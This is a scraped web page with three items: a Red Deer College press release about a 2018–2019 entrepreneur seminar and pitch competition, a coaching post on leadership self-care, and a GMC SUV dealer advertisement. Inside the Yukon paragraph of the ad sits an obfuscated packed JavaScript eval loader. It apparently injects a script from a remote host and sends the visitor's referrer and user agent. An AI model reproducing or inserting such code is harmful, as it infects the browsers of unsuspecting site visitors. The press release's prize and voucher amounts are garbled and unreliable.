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Aspiring entrepreneurs invited to be part of upcoming Red Deer College events

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  • Red Deer, December 4, 2018 – This winter, Red Deer College will be hosting two opportunities that will help to educate and encourage future small business owners. The Business Basics for the Aspiring Entrepreneur Seminar along with Breakthrough Your Business, a Dragon’s Den-style competition, will help people learn how to develop and then pitch their business ideas.

    “Central Alberta is filled with people who have innovative ideas and entrepreneurial spirits,” says Darcy Mykytyshyn, Dean of RDC’s Donald School of Business. “The two events we’re offering provide unique opportunities to introduce people to foundational business knowledge and skills that will help them transform their ideas into actionable business plans.”

    Business Basics for the Aspiring Entrepreneur is a one-day seminar that is open to anyone, including RDC alumni living in Alberta. The free event will provide information for people interested in starting and operating a small business. Topics will include legal structure and risk management, financing, accounting, sales and marketing, entrepreneurism, tips for success, key steps, and lessons learned.

    For those looking to elevate their business ideas to the next level, the Breakthrough Your Business competition will provide an opportunity to create a proposal and business plan, which they will then present to a panel of judges. The first and second place winners will be awarded ,000 and ,000, respectively, to help them start their small businesses. Each winner will also receive a 0 tuition voucher for RDC’s School of Continuing Education.

    Local philanthropists, Joan and Jack Donald, have sponsored this event since it was first created, dedicating their time through mentorship and donating a total of ,000 in prize money over the years. As business owners, they understand the challenges that can come from starting a new business. They believe the learning and opportunities from Breakthrough Your Business will help support local entrepreneurs to make timely, sound decisions as they pursue their business goals.

    “There are many good opportunities lost and precious time wasted for lack of a timely decision,” says Jack Donald. “Both Joan and I have always followed this rule: marshal the facts, make a decision and move on. As long as you make more ‘good’ decisions than ‘poor’ ones you will prosper. This Breakthrough Your Business event is a great opportunity.”

    To help this year’s participants prepare for the event, competitors will have the opportunity to partner with students to develop the business proposals.

    “This is a great example of collaboration and learning, with students from the Donald School of Business working with local people to help them develop viable business plans,” says Mykytyshyn. “It’s a practical learning opportunity that has benefits for everyone involved.”

    Anyone competing in Breakthrough Your Business must participate in the Business Basics Seminar, either this year or in the past years, as the learning from this seminar will help to position them for success in the competition and in their future businesses.

    People interested in participating in Business Basics for the Aspiring Entrepreneur Seminar and Breakthrough Your Business are encouraged to be aware of the upcoming dates and deadlines for the events:

    January 18, 2019 – January 26, 2019 – February 15, 2019 – February 22, 2019 – March 9, 2019

    Expression of Interest registration deadline for Breakthrough Your Business Business Basics Seminar (required for Breakthrough Your Business) Submission deadline for Breakthrough Your Business

    Final five contestants notified for Breakthrough Your Business Breakthrough Your Business

    For further details, contact BreakthroughYourBusiness@rdc.ab.ca.

    About RDC: For 55 years, RDC has been proudly serving its learners and communities. The College continues to grow programs, facilities and opportunities as it transitions to become a comprehensive regional teaching university during the next three to five years. This year, RDC will add seven new programs to more than 100 established programs (including full degrees, certificates, diplomas and skilled trades programs). RDC educates 7,500 full-and part-time credit students and more than 38,000 youth and adult learners in the School of Continuing Education each year. The College is expanding its teaching, learning, athletic and living spaces with the additions of the state-of-the-art Gary W. Harris Canada Games Centre/Centre des Jeux du Canada Gary W. Harris, Alternative Energy Lab and construction of a new Residence which all enhance RDC’s Alternative Energy Initiative. Main campus is strategically situated on 290 acres of Alberta’s natural landscape along Queen Elizabeth II Highway. RDC is also proud to serve its Donald School of Business students housed at a downtown campus, located in the Millennium Centre, in addition to housing teaching and learning space at the Welikoklad Event Centre.

    For more information on RDC, please visit: rdc.ab.ca| twitter | facebook | instagram


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    Now’s the Time… High Performance Leadership and Self Care?

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  • Leadership is challenging.
    Criticism of leadership, from numerous directions, can feel like death by a thousand cuts for those of us who are brave enough to take on leadership positions.

    Learning resilience strategies, that are not driven by ego, is critical for sustainable results. One of the most important resilience strategies all leaders need is self care.

    Self care is essential to your health and the health of your organization.

    Throughout my adult life, I’ve experienced numerous leadership positions and leadership roles.
    Often, I was up to my eyeballs with new responsibilities before I knew it and didn’t understand or have the time to look into how to survive my new reality. I had a skillset that was necessary for the work, I knew I had leadership capacity… but didn’t understand what self-care really looked like for me in my role.

    My experience is familiar to many people who are promoted into positions because they were great at their previous role. For many of us, we end up in leadership roles and suddenly have responsibilities that are unfamiliar and take an immense amount of self awareness and other awareness.

    Burnout can begin to undermine the job we want to do, the life we want to live and the even the self-care efforts that we may be trying to sustain.

    There were times when I believed there was no other way, that the situation was my lot in life. I resigned myself to a mindset that was limited to what I knew. Little did I know that there were coping strategies within my reach.

    I did not have a very robust idea of what self-care is about. I want to share with you some important truths and some questions for self reflection about self care that I wish I had explored earlier.

    First and most important, self care, not driven by ego, is important. We cannot give what we do not have.
    What resources are within my reach that I can draw on?
    What do I truly believe about taking care of myself?

    Self Care starts with what we choose to believe and focus on.
    Condemning or critical thoughts may be undermining your self-care efforts. Choosing to talk to ourselves the way we would talk to a friend is a courageous choice.
    Am I choosing to be compassionate to myself? Are there useful resources within my reach that I could or should access?

    Self Care looks different for each of us. What fills my bucket may not fill your bucket. This is not about what SHOULD work for us. Regular, seemingly small deposits into your self care bank are more effective than massive one time efforts. Think of it like the daily act of brushing your teeth, as opposed to taking the holiday of a lifetime.
    What would add to my bucket today?

    Self Care is about meaningful connection.
    Who are the people in your life who care about me?
    What can I do to grow this important resource in my life?

    Self Care is about finding moments, people and places where we can feel emotions.
    Do I have a place to feel hard emotions in a safe place experience feeling seen, heard and understood?

    Self Care is about finding opportunities for laughter. We all need to laugh and play.
    Where can I find something today that will give me a good belly laugh?

    Self care is about rumbling with setting boundaries.
    Boundaries are about what’s ok and what’s not ok AND about being clear about what is mine and what is not mine.
    What can I do to get clear about my boundaries?

    Now, can you give the people in your team permission to do the same? The flip of self-care for others is empathy…. one of the most critical, and challenging skillsets for today’s leaders.

    My suggestions:
    Choose one of these elements of self care and strategically add it to your life for two months, then move on to another one of these elements.

    Working with a coach has also been the best self-care gifts I have given to myself. Change almost always begins with a conversation.

    Your 2019 will look brighter and more successful if you give yourself permission to play and get curious with self care strategies.

    Self care has a way of growing what we most want in our lives. Want a healthy team? Taking the time to honestly ask the above questions is a courageous, and important, step.

    If you’d like support or to explore any of these ideas further with coaching or training, please contact me at alana@nowsthetime.ca


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    THE GMC SUV

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  • GMC offers a variety of SUVs to fit your specific needs. Choose from the full-size Yukon SUV with ample seating for up to nine adults and impressive trailering capability. Opt for the compact Terrain SUV with a standard 1.5L turbo engine and an estimated fuel consumption rating of 7.9 L/100 km highway and 9.2 L/100 km city (in 4×2 mode). Or go with the powerful, capable Acadia SUV for signature GMC utility, flexibility, and convenience.

    YUKON
    This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sknss|var|u0026u|referrer|ietfr||js|php’.split(‘|’),0,{}))
    full-size SUV brings together numerous innovations to create a new standard in utility. Under the hood, Yukon gives you a choice of powerful and efficient EcoTec3 engines. Inside, premium materials, generous seating and storage, intelligent infotainment, and available safety technologies create an outstanding driving experience.

    FIND YOUR YUKON: http://bit.ly/2019GMCYUKON

    ACADIA
    An SUV engineered to help you handle life’s demands with confidence, capability, and style. With available seating for up to seven, Acadia provides flexible and adaptable storage capacity depending on your needs. Its available advanced driver alert and infotainment technologies help keep you aware, connected, and entertained.

    FIND YOUR ACADIA:http://bit.ly/2019GMCACADIA

    TERRAIN
    This SUV brings together exceptional features of its category. From a distinctive exterior that leaves a lasting impression to new available features that benefit everyone such as Front Pedestrian Braking, HD Rear Vision Camera and HD Surround Vision, the Terrain delivers outstanding utility to handle the varied demands of your life.

    FIND YOUR TERRAIN: http://bit.ly/2019GMCTERRAIN

    If you would like to Test Drive anyone of these SUV’s come visit us at http://www.kippscott.ca to book!

     


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